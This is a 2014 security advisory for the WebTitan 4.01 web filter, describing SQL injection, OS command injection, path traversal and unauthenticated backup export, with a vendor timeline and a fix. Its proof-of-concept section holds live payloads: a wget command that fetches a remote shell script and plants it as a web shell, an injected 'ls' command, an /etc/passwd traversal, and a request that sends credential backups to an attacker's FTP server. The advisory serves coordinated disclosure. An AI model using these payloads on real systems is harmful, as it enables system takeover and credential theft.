WebTitan 4.01 Build 68 SQL Injection / Command Execution

Type packetstorm
Reporter Robert Giruckas
Modified 2014-06-06T00:00:00


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SEC Consult Vulnerability Lab Security Advisory < 20140606-0 >  
title: Multiple critical vulnerabilities  
product: WebTitan  
vulnerable version: 4.01 (Build 68)  
fixed version: 4.04  
impact: critical  
homepage: http://www.webtitan.com  
found: 2014-04-07  
by: Robert Giruckas, Mindaugas Liudavicius  
SEC Consult Vulnerability Lab  
Vendor description:  
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"WebTitan offers ultimate protection from internet based threats and powerful  
web filtering functionalities to SMBs, Service Providers and Education sectors  
around the World."  
Source: http://www.webtitan.com/about-us/webtitan  
Business recommendation:  
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Multiple critical security vulnerabilities have been identified in the WebTitan  
system. Exploiting these vulnerabilities potential attackers could take control  
over the entire system.  
It is highly recommended by SEC Consult not to use this software until a  
thorough security review has been performed by security professionals and all  
identified issues have been resolved.  
Vulnerability overview/description:  
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1) SQL Injection  
A SQL injection vulnerability in the /categories-x.php script allows  
unauthenticated remote attackers to execute arbitrary SQL commands via the  
"sortkey" parameter.  
2) Remote command execution  
Multiple remote command execution vulnerabilities were detected in the  
WebTitan GUI. This security flaw exists due to lack of input validation. An  
authenticated attacker of any role (Administrator, Policy Manager, Report  
Manager) can execute arbitrary OS commands with the privileges of the web  
3) Path traversal  
The web GUI fails to properly filter user input passed to the logfile  
parameter. This leads to arbitrary file download by unauthenticated attackers.  
4) Unprotected Access  
The web GUI does not require authentication for certain PHP scripts. This  
security issue allows an unauthenticated remote attacker to download Webtitan  
configuration backup (including hashed user credentials) to the attacker's FTP  
Proof of concept:  
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1) SQL Injection  
The manipulation of the "sortkey" parameter allows users to modify the  
original SQL query.  
GET /categories-x.php HTTP/1.1  
/categories-x.php?getcategories&sortkey=name) limit 1;--  
/categories-x.php?getcategories&sortkey=name) limit 5;--  
2) Remote command execution  
Due to improper user input validation it is possible to inject arbitrary OS  
commands using backticks ``. Some of the affected files do not sanitize any  
type of shell metacharacters, this allows an attacker to use more flexible OS  
commands. Tested and working payload for most scripts: `/usr/local/bin/wget  
http://<URL to shell script> -O /usr/blocker/www/graph/CPU/xshell.php`  
Affected scripts: logs-x.php, users-x.php, support-x.php, time-x.php,  
scheduledreports-x.php, reporting-x.php, network-x.php  
a. logs-x.php, vulnerable parameters: fname, logfile  
/logs-x.php?jaction=view&fname=webtitan.log;ls -la  
/logs-x.php POST Content: jaction=delete&logfile=<PAYLOAD>  
b. users-x.php, vulnerable parameters: ldapserver  
c. support-x.php, vulnerable parameters: tracehost, dighost, pinghost  
/support-x.php POST Content: jaction=ping&pinghost=<PAYLOAD>  
/support-x.php POST Content: jaction=ping&dighost=<PAYLOAD>  
/support-x.php POST Content: jaction=ping&tracehost=<PAYLOAD>  
d. time-x.php, vulnerable parameters: ntpserversList  
/time-x.php POST Content:  
e. scheduledreports-x.php, vulnerable parameters: reportid  
f. reporting-x.php, vulnerable parameter: delegated_admin  
/reporting-x.php POST Content:  
g. network-x.php, vulnerable parameters: hostname (limited to 15 symbols  
length), domain  
3) Path traversal  
Due to missing input filtering in the logs-x.php script it is possible to  
download arbitrary files without any authentication:  
Vulnerable parameters: logfile  
Post Content: jaction=download&logfile=../../../etc/passwd  
4) Unprotected Access  
a. Since the script backup-x.php does not require authentication, remote  
attackers can initiate a backup of Webtitan configuration files to a remote  
FTP server by executing the following requests:  
POST Content:  
Where <IP> is the remote FTP server IP, <login> - remote FTP server  
login, <password> - remote FTP, <path> - path where to store backup  
With the next request, an attacker can force the backup to be uploaded  
to the attacker's FTP server:  
POST Content: jaction=exportNowtoFtp  
b. The autoconf-x.php, contentfiltering-x.php, license-x.php, msgs.php,  
reports-drill.php scripts can be reached by an unauthenticated user. The  
categories-x.php, urls-x.php can also be accessed by faking the HTTP User-Agent  
header, by setting it to "Shockwave Flash".  
Vulnerable / tested versions:  
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The vulnerabilities have been verified to exist in the WebTitan VMware  
appliance ver. 4.0.1 (build 68). It is assumed that previous versions are  
affected too.  
Vendor contact timeline:  
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2014-04-17: Contacting vendor through info@webtitan.com and helpdesk@webtitan.com  
2014-04-23: Vendor is investigating the vulnerabilities  
2014-05-09: Vendor is testing security patches  
2014-06-03: Vendor releases the version 4.04 of WebTitan  
2014-06-06: SEC Consult releases a coordinated security advisory  
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Update to the most recent version 4.04 of WebTitan.  
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Advisory URL:  
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SEC Consult Vulnerability Lab  
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